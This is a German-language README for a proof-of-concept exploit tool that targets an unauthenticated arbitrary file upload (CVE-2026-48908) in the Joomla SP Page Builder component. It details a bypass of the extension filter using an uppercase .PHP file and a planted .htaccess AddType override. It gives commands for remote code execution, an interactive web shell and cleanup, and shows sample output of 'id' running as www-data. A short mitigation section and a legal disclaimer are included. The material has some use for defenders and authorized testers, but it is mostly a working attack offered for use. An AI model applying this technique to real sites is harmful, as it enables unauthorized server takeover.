
Proof-of-Concept-Exploit für CVE-2026-48908, eine nicht authentifizierte RCE im Joomla SP Page Builder über beliebigen Datei-Upload, mit adaptiver Payload-Zustellung und Bereinigung.
| CVE | CVE-2026-48908 |
| Schwachstelle | CWE-284 Unzureichende Zugriffskontrolle → Nicht authentifizierter beliebiger Datei-Upload → RCE |
| Komponente | SP Page Builder (com_sppagebuilder) für Joomla |
| Betroffen | 1.0.0 – 6.6.1 |
| Behoben in | 6.6.2 |
| Erforderliche Privilegien | Keine (vor der Authentifizierung) |
| Benutzerinteraktion | Keine |
SP Page Builder legt die Controller-Aufgabe asset.uploadCustomIcon offen, um das Hochladen eines
benutzerdefinierten Icon-Schriftart-Pakets zu handhaben:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
In betroffenen Versionen ist diese Aufgabe ohne Authentifizierung und ohne ein gültiges Anti-CSRF-Token
erreichbar. Sie akzeptiert ein ZIP-Archiv (Multipart-Feld custom_icon) und extrahiert dessen Inhalt in ein
öffentlich über das Web bereitgestelltes Verzeichnis unterhalb des Dokumentenwurzelverzeichnisses:
/media/com_sppagebuilder/assets/iconfont/<name>/ (einschließlich des fonts/-Unterordners)
Da der Upload vor der Authentifizierung erreichbar ist und die extrahierten Dateien im Web-Root landen, kann ein Angreifer vom Angreifer kontrollierte Dateien an einen durchsuchbaren Ort schreiben und über HTTP darauf zugreifen.
Einige Builds fügen einen serverseitigen Dateinamenfilter für die Archiveinträge hinzu. Dieser PoC umgeht eine gängige Implementierung davon mit einer Dreistufen-Kette:
.php, .phtml, .phar,
.php3–.php8, .pht, .inc, … ab, aber er normalisiert die Groß-/Kleinschreibung nicht, sodass .PHP (und andere
gemischte Schreibweisen) und .htaccess durchkommen.<FilesMatch "\.php$">)
führt nur kleingeschriebenes .php aus, daher wird ein hochgeladenes .PHP zunächst als Quelltext ausgeliefert, nicht ausgeführt..htaccess-Override. Ein .htaccess (den die Blockliste ebenfalls übersieht), der
AddType application/x-httpd-php .PHP enthält, wird neben der Nutzlast abgelegt. Wo AllowOverride
dies erlaubt, registriert dies .PHP als PHP und die hochgeladene Shell wird ausgeführt.Der PoC packt immer eine gültige Icon-Schriftart-Struktur (selection.json, style.css,
fonts/<name>.ttf) ein, damit der Upload akzeptiert wird, und fügt dann die Shell hinzu.
Adaptiv – er durchläuft eine Liste von PHP-ausführbaren Erweiterungen (geringster Footprint zuerst), dann einen
.htaccess-Fallback und stoppt bei der ersten, die tatsächlich Code ausführt:
fonts/<shell>.<ext> für jede der
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Kein .htaccess.
Unterschiedliche SP-Page-Builder-Filter blockieren unterschiedliche Sätze, und unterschiedliche Apache-Konfigurationen führen
unterschiedliche Erweiterungen aus – daher findet dies, welche Kombination das Ziel zulässt und ausführt.fonts/.htaccess + fonts/<shell>.PHP (Fallback) — nur wenn jeder direkte Versuch fehlschlägt.
Der abgelegte .htaccess (AddType … .PHP) erzwingt, dass ein großgeschriebenes .PHP ausgeführt wird, wo
AllowOverride dies erlaubt (das ist es, was 5.4.6-ähnliche Hosts benötigen).Er stoppt bei der ersten Methode, die ausgeführt wird, und gibt an, welche gelandet ist. Jeder akzeptierte Upload wird
nachverfolgt, sodass --cleanup alle entfernt (mehrere Versuche können schreibgeschützte Verzeichnisse hinterlassen).
Je nach Version und Serverhärtung variiert das Ergebnis, und der PoC gibt es explizit an (siehe Ergebnisse unten): vollständige RCE, nur Datei-Schreiben (PHP deaktiviert /
AllowOverride None), gepatcht (nur Admin), oder nicht anfällig.
pip install -r requirements.txt # requests
# die Sicherheitslücke bestätigen und Code-Ausführung nachweisen (führt `id` aus)
python3 sppb_rce.py https://target.example
# einen bestimmten Befehl ausführen
python3 sppb_rce.py --url target.example -c "uname -a"
# interaktive Pseudo-Shell
python3 sppb_rce.py https://target.example --shell
# nur prüfen; keinen Befehl ausführen
python3 sppb_rce.py https://target.example --check
# das hochgeladene Nutzlastverzeichnis danach entfernen
python3 sppb_rce.py https://target.example --cleanup
Das Ziel kann als positionsabhängiges Argument oder über --url angegeben werden, mit oder ohne Schema.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
Der PoC teilt Ihnen immer das Urteil für das Ziel mit:
| Ausgabe | Bedeutung | Exit |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Anfällig – vollständige unauth RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Nur Datei-Schreiben (AllowOverride None / PHP deaktiviert in /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Gepatcht – Upload erfordert jetzt Admin-Authentifizierung | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Nicht ausnutzbar / Komponente nicht vorhanden | 2 |
404 für jeden ohne
dieses Token zurück – sie ist kein weltweit offener Hintertür.--cleanup löscht das von ihm erstellte Nutzlastverzeichnis.id, ein arithmetischer Marker)./media/, /images/, /tmp) über den FPM-Pool oder
php_admin_flag engine off.AllowOverride None auf diesen Verzeichnissen, damit ein abgelegter .htaccess keine Handler wieder aktivieren kann..php/.PHP unter media/.../iconfont/, neuen Super User-
Konten und eingeschleusten Dateimanagern.Joomla SP Page Builder Exploit · com_sppagebuilder unauthenticated RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon beliebiger Datei-Upload · Joomla Remote Code Execution · Pentest-Exploit-Skript.
Diese Software wird nur für Bildungszwecke und autorisierte Sicherheitstests veröffentlicht – z. B. Penetrationstests, für die Sie schriftliche Genehmigung haben, Bug-Bounty-Programme, die das Ziel im Rahmen enthalten, CTF-Wettbewerbe und Ihre eigenen Laborsysteme.
Der Zugriff auf, die Änderung oder Störung von Computersystemen ohne Autorisierung ist in den meisten Rechtsordnungen illegal. Sie sind allein und vollständig für Ihre eigenen Handlungen verantwortlich. Durch die Nutzung, das Herunterladen oder die Verbreitung dieses Codes stimmen Sie zu, dass:
Wenn Sie mit diesen Bedingungen nicht einverstanden sind, verwenden Sie diese Software nicht. Wie bei jedem öffentlich verfügbaren Exploit/PoC wird es in gutem Glauben geteilt, um Verteidigern zu helfen, die Sicherheitslücke zu erkennen, zu verstehen und zu beheben; was Sie damit tun, liegt bei Ihnen.
MIT – siehe LIZENZ.